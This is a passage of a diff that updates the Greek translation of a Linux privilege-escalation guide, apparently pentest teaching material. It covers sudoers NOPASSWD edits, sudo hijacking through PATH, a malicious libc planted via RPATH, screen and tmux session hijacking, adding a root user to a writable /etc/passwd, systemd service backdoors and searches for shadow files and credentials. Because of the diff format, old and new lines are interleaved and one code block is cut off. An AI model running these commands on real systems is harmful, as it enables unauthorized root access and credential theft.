echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Ένας άλλος τρόπος για την εκμετάλλευση αυτών των δικαιωμάτων: +Ένας άλλος τρόπος κατάχρησης αυτών των δικαιωμάτων: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -1029,17 +1033,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Υπάρχουν κάποιες εναλλακτικές στο εκτελέσιμο αρχείο `sudo`, όπως το `doas` για το OpenBSD. Θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` +Υπάρχουν μερικές εναλλακτικές στο binary `sudo` όπως το `doas` για το OpenBSD, θυμηθείτε να ελέγξετε τη διαμόρφωσή του στο `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Εάν γνωρίζετε ότι ένας **user συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αυξήσει προνόμια και έχετε ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο sudo executable** που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το sudo executable σας. +Αν ξέρετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί `sudo`** για να αυξήσει τα προνόμια και έχετε ένα shell μέσα στο context αυτού του χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελέσει τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Έπειτα, **τροποποιήστε το $PATH** του context του χρήστη (για παράδειγμα προσθέτοντας το νέο path στο .bash_profile) ώστε όταν ο χρήστης εκτελεί sudo, να εκτελείται το εκτελέσιμο sudo που δημιουργήσατε. -Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Σημειώστε ότι αν ο χρήστης χρησιμοποιεί διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε το νέο path. Για παράδειγμα [ sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Ή τρέχοντας κάτι σαν: +Ή εκτελώντας κάτι όπως: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Με την αντιγραφή της lib στο `/var/tmp/flag15/` θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως καθορίζεται στη μεταβλητή `RPATH`. +Με την αντιγραφή της lib στο `/var/tmp/flag15/` θα χρησιμοποιηθεί από το πρόγραμμα σε αυτή τη θέση όπως ορίζεται στη μεταβλητή `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1090,7 +1094,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Στη συνέχεια, δημιούργησε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Στη συνέχεια, δημιουργήστε μια κακόβουλη βιβλιοθήκη στο `/var/tmp` με `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1105,8 +1109,8 @@ execve(file,argv,0); ``` ## Δυνατότητες -Linux capabilities provide a **subset of the available root privileges to a process**. Αυτό ουσιαστικά διασπά τα root **privileges σε μικρότερες και διακριτές μονάδες**. Καθεμία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Με αυτόν τον τρόπο το πλήρες σύνολο προνομίων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\ -Διαβάστε την ακόλουθη σελίδα για να **μάθετε περισσότερα σχετικά με τις capabilities και πώς να τις καταχραστείτε**: +Οι Linux capabilities παρέχουν ένα **υποσύνολο των διαθέσιμων προνομίων του root σε μια διεργασία**. Αυτό ουσιαστικά διασπά τα root **προνόμια σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να χορηγηθεί ανεξάρτητα σε διεργασίες. Έτσι μειώνεται το πλήρες σύνολο προνομίων, μειώνοντας τον κίνδυνο εκμετάλλευσης.\ +Διαβάστε την ακόλουθη σελίδα για να **μάθετε περισσότερα για τις δυνατότητες και πώς να τις καταχραστείτε**: {{#ref}} @@ -1115,14 +1119,14 @@ linux-capabilities.md ## Δικαιώματα καταλόγου -Σε έναν κατάλογο, το **bit για το "execute"** υποδηλώνει ότι ο χρήστης μπορεί να κάνει "**cd**" στον φάκελο.\ -Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **απαριθμήσει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. +Σε έναν κατάλογο, το **bit για "execute"** σημαίνει ότι ο αντίστοιχος χρήστης μπορεί να **cd** στον φάκελο.\ +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **list** τα **files**, και το **"write"** bit ότι ο χρήστης μπορεί να **delete** και να **create** νέα **files**. ## ACLs -Οι Λίστες Ελέγχου Πρόσβασης (Access Control Lists, ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **παρακάμπτει τις παραδοσιακές ugo/rwx permissions**. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Οι Access Control Lists (ACLs) αποτελούν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανό να **αναιρεί τα παραδοσιακά ugo/rwx permissions**. Αυτά τα δικαιώματα βελτιώνουν τον έλεγχο πρόσβασης σε αρχεία ή καταλόγους, επιτρέποντας ή απορρίπτοντας δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Δώστε** στον χρήστη "kali" δικαιώματα read και write σε ένα αρχείο: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1133,10 +1137,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Άνοιγμα shell sessions +## Ανοικτές shell συνεδρίες -Σε **παλιές εκδόσεις** μπορεί να **hijack** κάποια **shell** session διαφορετικού χρήστη (**root**).\ -Στις **νεότερες εκδόσεις** θα μπορείτε να **connect** σε screen sessions μόνο του **δικού σας user**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη session**. +Σε **παλαιότερες εκδόσεις** μπορείτε να **hijack** κάποια **shell** συνεδρία άλλου χρήστη (**root**).\ +Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** σε screen sessions μόνο του **δικού σας χρήστη**. Ωστόσο, μπορεί να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. ### screen sessions hijacking @@ -1147,7 +1151,7 @@ screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Συνδέσου σε session** +**Σύνδεση σε συνεδρία** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1155,9 +1159,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Αυτό ήταν ένα πρόβλημα με **παλιές εκδόσεις tmux**. Δεν μπόρεσα να hijack μια συνεδρία tmux (v2.1) που δημιουργήθηκε από τον root ως μη προνομιούχος χρήστης. +Αυτό ήταν ένα πρόβλημα με τις **παλιές tmux εκδόσεις**. Δεν κατάφερα να hijack μια tmux (v2.1) session που είχε δημιουργηθεί από τον root ως χρήστης χωρίς προνόμια. -**Λίστα συνεδριών tmux** +**Λίστα tmux sessions** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1165,7 +1169,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Σύνδεση σε συνεδρία** +**Συνδεθείτε σε μια συνεδρία** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1175,53 +1179,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Check **Valentine box from HTB** για ένα παράδειγμα. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα στο Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 μπορεί να επηρεάστηκαν από αυτό το bug.\ -Το bug αυτό προκαλείται κατά τη δημιουργία ενός νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Όλα τα SSL και SSH keys που δημιουργήθηκαν σε συστήματα βασισμένα σε Debian (Ubuntu, Kubuntu, κ.λπ.) μεταξύ Σεπτεμβρίου 2006 και 13 Μαΐου 2008 ενδέχεται να επηρεάζονται από αυτό το σφάλμα.\ +Αυτό το σφάλμα προκύπτει κατά τη δημιουργία νέου ssh key σε αυτά τα OS, καθώς **μόνο 32,768 παραλλαγές ήταν δυνατές**. Αυτό σημαίνει ότι όλες οι πιθανότητες μπορούν να υπολογιστούν και **έχοντας το ssh public key μπορείτε να αναζητήσετε το αντίστοιχο private key**. Μπορείτε να βρείτε τις υπολογισμένες πιθανότητες εδώ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Καθορίζει αν επιτρέπεται η πιστοποίηση με password. Η προεπιλογή είναι `no`. -- **PubkeyAuthentication:** Καθορίζει αν επιτρέπεται η πιστοποίηση με public key. Η προεπιλογή είναι `yes`. -- **PermitEmptyPasswords**: Όταν επιτρέπεται η πιστοποίηση με password, καθορίζει αν ο server επιτρέπει σύνδεση σε λογαριασμούς με κενές συμβολοσειρές κωδικού. Η προεπιλογή είναι `no`. +- **PasswordAuthentication:** Καθορίζει αν επιτρέπεται η αυθεντικοποίηση με κωδικό. Η προεπιλογή είναι `no`. +- **PubkeyAuthentication:** Καθορίζει αν επιτρέπεται η αυθεντικοποίηση με public key. Η προεπιλογή είναι `yes`. +- **PermitEmptyPasswords**: Όταν επιτρέπεται η αυθεντικοποίηση με κωδικό, καθορίζει αν ο διακομιστής επιτρέπει είσοδο σε λογαριασμούς με κενές συμβολοσειρές κωδικού. Η προεπιλογή είναι `no`. ### PermitRootLogin -Καθορίζει αν ο root μπορεί να συνδεθεί μέσω ssh, η προεπιλογή είναι `no`. Δυνατές τιμές: +Καθορίζει αν ο root μπορεί να συνδεθεί μέσω ssh, η προεπιλογή είναι `no`. Πιθανές τιμές: -- `yes`: root μπορεί να συνδεθεί χρησιμοποιώντας password και private key -- `without-password` or `prohibit-password`: root μπορεί να συνδεθεί μόνο με private key -- `forced-commands-only`: root μπορεί να συνδεθεί μόνο με private key και εφόσον έχουν οριστεί οι επιλογές commands +- `yes`: ο root μπορεί να συνδεθεί χρησιμοποιώντας κωδικό και private key +- `without-password` or `prohibit-password`: ο root μπορεί να συνδεθεί μόνο με private key +- `forced-commands-only`: ο root μπορεί να συνδεθεί μόνο με private key και μόνο εάν έχουν καθοριστεί οι επιλογές commands - `no` : όχι ### AuthorizedKeysFile -Καθορίζει τα αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για user authentication. Μπορεί να περιέχει tokens όπως `%h`, τα οποία θα αντικατασταθούν από το home directory. **Μπορείτε να υποδείξετε απόλυτες διαδρομές** (ξεκινώντας με `/`) ή **σχετικές διαδρομές από το home του χρήστη**. Για παράδειγμα: +Καθορίζει αρχεία που περιέχουν τα public keys που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως `%h`, που θα αντικατασταθούν από τον κατάλογο home. **Μπορείτε να δηλώσετε απόλυτες διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το home του χρήστη**. Για παράδειγμα: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσετε να συνδεθείτε με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σας με αυτά που βρίσκονται στο `/home/testusername/.ssh/authorized_keys` και στο `/home/testusername/access` +Αυτή η ρύθμιση θα υποδείξει ότι αν προσπαθήσεις να συνδεθείς με το **private** key του χρήστη "**testusername**", το ssh θα συγκρίνει το public key του κλειδιού σου με εκείνα που βρίσκονται στα `/home/testusername/.ssh/authorized_keys` και `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding σας επιτρέπει να **use your local SSH keys instead of leaving keys** (χωρίς passphrases!) που μένουν στον server σας. Έτσι, θα μπορείτε να **jump** μέσω ssh **to a host** και από εκεί να **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σας. +Το SSH agent forwarding σου επιτρέπει να **use your local SSH keys instead of leaving keys** (χωρίς passphrases!) να μένουν στο server σου. Έτσι, θα μπορείς να **jump** via ssh **to a host** και από εκεί **jump to another** host **using** το **key** που βρίσκεται στον **initial host** σου. -Πρέπει να ορίσετε αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: +Πρέπει να ορίσεις αυτή την επιλογή στο `$HOME/.ssh.config` ως εξής: ``` Host example.com ForwardAgent yes ``` -Σημειώστε ότι αν `Host` είναι `*`, κάθε φορά που ο χρήστης συνδέεται σε διαφορετική μηχανή, αυτή η host θα μπορεί να αποκτήσει πρόσβαση στα κλειδιά (κάτι που αποτελεί ζήτημα ασφαλείας). +Παρατηρήστε ότι αν το `Host` είναι `*`, κάθε φορά που ο χρήστης αλλάζει μηχάνημα, αυτός ο host θα μπορεί να έχει πρόσβαση στα κλειδιά (που αποτελεί ζήτημα ασφαλείας). -Το αρχείο `/etc/ssh_config` μπορεί να **παρακάμψει** αυτές τις **επιλογές** και να επιτρέψει ή να απορρίψει αυτή τη ρύθμιση.\ -Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **απορρίψει** το ssh-agent forwarding με την οδηγία `AllowAgentForwarding` (προεπιλογή: allow). +Το αρχείο `/etc/ssh_config` μπορεί να **αντικαταστήσει** αυτές τις **επιλογές** και να επιτρέψει ή να απορρίψει αυτή τη ρύθμιση.\ +Το αρχείο `/etc/sshd_config` μπορεί να **επιτρέψει** ή να **απορρίψει** το ssh-agent forwarding με τη λέξη-κλειδί `AllowAgentForwarding` (default is allow). -Εάν διαπιστώσετε ότι το Forward Agent είναι ρυθμισμένο σε ένα περιβάλλον, διαβάστε την παρακάτω σελίδα καθώς **you may be able to abuse it to escalate privileges**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1232,69 +1236,68 @@ ssh-forward-agent-exploitation.md ### Αρχεία προφίλ -Το αρχείο `/etc/profile` και τα αρχεία κάτω από το `/etc/profile.d/` είναι **σενάρια που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **write or modify any of them you can escalate privileges**. +Το αρχείο `/etc/profile` και τα αρχεία κάτω από το `/etc/profile.d/` είναι **scripts που εκτελούνται όταν ένας χρήστης ανοίγει ένα νέο shell**. Επομένως, αν μπορείτε να **γράψετε ή να τροποποιήσετε οποιοδήποτε από αυτά, μπορείτε να escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Αν βρεθεί κάποιο περίεργο profile script πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. +Αν βρεθεί κάποιο περίεργο profile script, πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**. -### Αρχεία Passwd/Shadow +### Passwd/Shadow Files -Ανάλογα με το OS, τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να έχουν διαφορετικό όνομα ή να υπάρχει κάποιο backup. Επομένως συνιστάται **να τα εντοπίσετε όλα** και **να ελέγξετε αν μπορείτε να τα διαβάσετε** για να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: +Ανάλογα με το OS τα αρχεία `/etc/passwd` και `/etc/shadow` μπορεί να χρησιμοποιούν διαφορετικό όνομα ή να υπάρχει κάποιο backup. Επομένως συνιστάται να **τα βρείτε όλα** και **ελέγξετε αν μπορείτε να τα διαβάσετε** ώστε να δείτε **αν υπάρχουν hashes** μέσα στα αρχεία: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο αρχείο) +Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο `/etc/passwd` (ή στο αντίστοιχο αρχείο) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Εγγράψιμο /etc/passwd -Πρώτα, δημιούργησε έναν κωδικό πρόσβασης με μία από τις ακόλουθες εντολές. +Πρώτα, δημιούργησε έναν κωδικό με μία από τις παρακάτω εντολές. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Στη συνέχεια, πρόσθεσε τον χρήστη `hacker` και όρισε τον παραχθέντα κωδικό πρόσβασης. +Στη συνέχεια, πρόσθεσε τον χρήστη `hacker` και όρισε τον δημιουργημένο κωδικό πρόσβασης. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Π.χ.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Π.χ: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Μπορείτε τώρα να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` +Τώρα μπορείτε να χρησιμοποιήσετε την εντολή `su` με `hacker:hacker` -Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν ψεύτικο χρήστη χωρίς κωδικό.\ -ΠΡΟΕΙΔΟΠΟΙΗΣΗ: ενδέχεται να υποβαθμίσετε την τρέχουσα ασφάλεια του μηχανήματος. +Εναλλακτικά, μπορείτε να χρησιμοποιήσετε τις παρακάτω γραμμές για να προσθέσετε έναν δοκιμαστικό χρήστη χωρίς κωδικό πρόσβασης.\ ΠΡΟΕΙΔΟΠΟΙΗΣΗ: μπορεί να υποβαθμίσει την τρέχουσα ασφάλεια της μηχανής. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` ΣΗΜΕΙΩΣΗ: Σε πλατφόρμες BSD το `/etc/passwd` βρίσκεται στο `/etc/pwd.db` και στο `/etc/master.passwd`, επίσης το `/etc/shadow` μετονομάζεται σε `/etc/spwd.db`. -Πρέπει να ελέγξετε αν μπορείτε να **γράψετε σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείτε να γράψετε σε κάποιο **αρχείο διαμόρφωσης υπηρεσίας**; +Πρέπει να ελέγξεις αν μπορείς να **γράψεις σε κάποια ευαίσθητα αρχεία**. Για παράδειγμα, μπορείς να γράψεις σε κάποιο **service configuration file**; ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Για παράδειγμα, εάν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **modify the Tomcat service configuration file inside /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: +Για παράδειγμα, αν η μηχανή τρέχει έναν **tomcat** server και μπορείτε να **modify the Tomcat service configuration file inside /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Το backdoor σας θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει το tomcat. +Το backdoor θα εκτελεστεί την επόμενη φορά που θα ξεκινήσει ο tomcat. ### Έλεγχος φακέλων -Οι παρακάτω φάκελοι μπορεί να περιέχουν αντίγραφα ασφαλείας ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανόν να μην μπορέσετε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε.) +Οι ακόλουθοι φάκελοι μπορεί να περιέχουν backups ή ενδιαφέρουσες πληροφορίες: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Πιθανότατα δεν θα μπορείτε να διαβάσετε τον τελευταίο, αλλά δοκιμάστε) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Παράξενη τοποθεσία/Owned files +### Περίεργη Τοποθεσία/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1311,11 +1314,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### Τροποποιημένα αρχεία τα τελευταία λεπτά +### Τροποποιημένα αρχεία τελευταίων λεπτών ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB αρχεία +### Αρχεία Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1323,11 +1326,11 @@ find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### Κρυφά αρχεία +### Κρυμμένα αρχεία ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries στο PATH** +### **Script/Binaries σε PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1343,22 +1346,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Γνωστά αρχεία που περιέχουν passwords +### Γνωστά αρχεία που περιέχουν κωδικούς -Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **αρκετά πιθανά αρχεία που θα μπορούσαν να περιέχουν passwords**.\ -**Ένα ακόμη ενδιαφέρον εργαλείο** που μπορείς να χρησιμοποιήσεις για αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για να ανακτήσει πολλά passwords αποθηκευμένα σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. +Διάβασε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ψάχνει για **πολλά πιθανά αρχεία που μπορεί να περιέχουν κωδικούς**.\ +**Ένα ακόμα ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια εφαρμογή ανοιχτού κώδικα που χρησιμοποιείται για την ανάκτηση πολλών κωδικών που αποθηκεύονται σε έναν τοπικό υπολογιστή για Windows, Linux & Mac. ### Logs -Αν μπορείς να διαβάσεις logs, ίσως να καταφέρεις να βρεις **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα τους**. Όσο πιο περίεργο είναι το log, τόσο πιο ενδιαφέρον θα είναι (πιθανώς).\ -Επίσης, κάποιες **"bad"** ρυθμισμένες (backdoored?) **audit logs** μπορεί να σου επιτρέψουν να **record passwords** μέσα στα audit logs όπως εξηγείται σε αυτήν την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Αν μπορείτε να διαβάσετε logs, μπορεί να καταφέρετε να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτά**. Όσο πιο παράξενο είναι ένα log, τόσο πιο ενδιαφέρον πιθανότατα θα είναι.\ +Επίσης, κάποια "**κακώς**" configured (backdoored?) **audit logs** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς** μέσα στα audit logs όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Για να **διαβάσετε τα logs η ομάδα** [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πραγματικά χρήσιμη. +Για να **διαβάσετε τα logs**, η ομάδα [**adm**](interesting-groups-linux-pe/index.html#adm-group) θα είναι πολύ χρήσιμη. -### Αρχεία Shell +### Shell αρχεία ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1369,43 +1372,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Γενική Αναζήτηση Creds/Regex -Πρέπει επίσης να ελέγχετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομά** τους ή μέσα στο **περιεχόμενο**, και επίσης να ελέγχετε για IPs και emails μέσα σε logs, ή hashes regexps.\ -Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Επίσης πρέπει να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** τους ή στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή hashes regexps.\ +Δεν πρόκειται να απαριθμήσω εδώ πώς να κάνετε όλα αυτά αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## 